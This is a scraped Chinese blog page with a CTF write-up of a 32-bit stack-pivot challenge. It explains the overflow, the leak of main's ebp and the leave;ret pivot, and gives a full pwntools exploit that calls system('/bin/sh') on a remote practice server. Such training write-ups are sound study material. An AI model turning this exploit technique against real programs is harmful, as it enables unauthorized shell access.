当前位置: 首页 > news >正文

问答网站建设网站制作教程dw

问答网站建设,网站制作教程dw,seo查询 工具,vi设计的基本原则第一道栈迁移题目,跌跌撞撞理解了 前言 当前溢出可用空间比较少时(极端情况下仅能覆写ebp和ret),可以通过栈迁移的方式,扩大shellcode的容纳空间,其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋…

第一道栈迁移题目,跌跌撞撞理解了


前言

当前溢出可用空间比较少时(极端情况下仅能覆写ebp和ret),可以通过栈迁移的方式,扩大shellcode的容纳空间,其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋值,所以总是通过两次leave;ret的方式修改esp到固定位置。


一、代码审计

Untitled

Untitled

有两次读入操作。read进的内容超过字符串的长度,存在栈溢出漏洞。然而计算溢出长度,发现只有8字节,即刚好可以覆写ebp和ret。


Untitled

发现system的函数(意味着plt对应的表项存在),然而这个hack函数并不能给出flag。是个tricky。


二、思路与过程

这里采用栈迁移的方式,拓展可构造rop链的空间。

思路是这样的:修改esp为新一处地址→前提需要修改ebp为劫持目标地址(ebp给esp赋值)→这意味着要知道(泄露)栈地址。因此:

具体操作可看这个大神的blog:[BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)_buuojpwn栈空间不足_Y-peak的博客-CSDN博客

  1. 泄露ebp(main_ebp)地址 —— 通过第一个read实现
  2. 计算劫持目标地址
  3. 修改ebp为劫持目标地址、修改ret为leave;ret地址 —— 通过第二个read实现


三、EXP 

from pwn import *
from pwn import u32,p32context.log_level='debug'io=process('./pwn')
io=remote('node4.buuoj.cn',26158)
# context.terminal = ['tmux','splitw','-h']
# gdb.attach(proc.pidof(io)[0],gdbscript="b main")elf=ELF('./pwn')
call_system=0x8048559
#这里没用system_plt的地址,而是用了call _system的地址,意味着参数紧跟该地址之后,不需要空四个字节
leave_ret=0x80484b8
#修改ebp以及ret,然而我们要知道具体的ebp的内容的值#①所以第一次read输入是为了泄露ebp
payload=b'a'*0x27+b'b'
io.recvuntil(b'name?\n')
io.send(payload)
# main_ebp=u32(io.recvuntil(b'\xf7')[-4:])
io.recvuntil(b'aaab')
main_ebp=u32(io.recv(4))
print(hex(main_ebp))
io.recv()#②第二次read则是为了在栈上填充信息,修改ebp和ret后esp将迁移
# payload=(b'this'+p32(call_system)+b'that'+b'/bin/sh\x00').ljust(0x28,b'a')  
# 上面的payload用于本地调试时,找到偏移量0x38和0x28
payload=(b'this'+p32(call_system)+p32(main_ebp-0x2c)+b'/bin/sh\x00').ljust(0x28,b'a')
#call _system,参数紧跟其后,无需空开一个字长
payload+=p32(main_ebp-0x38)
payload+=p32(leave_ret)
io.sendline(payload)io.interactive()

总结

接触到高级一些的栈溢出内容,需要多做题予以巩固。

http://www.15wanjia.com/news/186179.html

相关文章:

  • 一般网站开发好的框架都有哪些wordpress调用page
  • app网站开发工具下载网站建设都需要买什么东西
  • wordpress自带站内搜索功能杭州推广公司
  • 怎嘛做网站南昌网站建设招聘
  • myeclipse怎样做网站深圳什么公司做网站好
  • 哪个网站做恒生指数最安全品牌宝免费网站
  • 网站宣传方式设计一个自己的电商网站
  • 注册网站会不会有风险成都网站制作方案
  • 安徽建设学校官方网站中国交通建设集团有限公司招聘
  • 资阳建网站qq群怎么推广起来最快
  • 官方网站域名备案中联建设集团网站
  • 开网站设计公司多少钱库尔勒西部建设网站
  • 广东网站营销seo方案广东东莞最新消息通知
  • 湖北华亚建设工程有限公司网站电商网站有哪些
  • 深圳市建设银行网站首页江苏亿之盛建设有限公司网站
  • 网站设计公司杭州网站开发英文论文
  • 北京会所网站推广在线室内设计网站
  • php网站开发技术要点wordpress 域名米表
  • 宠物网站建设的可行性如何创建网站设计
  • 建网站软件工具达州市住房与城乡建设厅网站
  • 教你做文案的网站推荐深圳住房建设局网站
  • 唐山网站专业制作免费访问国外网站的app
  • 重庆长寿网站设计公司推荐南通住房和城乡建设局网站
  • 网站开发是什么费用网站开发公司方案报价
  • 2017年内蒙古建设厅网站网站开发后台数据怎么来
  • 沧州网站艰涩很wordpress 灯箱
  • 做动画 的 网站网站建设公司领导致辞
  • 哪个网站公司做的好荣耀商城app
  • 杭州文化传媒类高端网站建设公司做网站有要求吗
  • 四川省的建设厅注册中心网站晓风彩票网站建设软件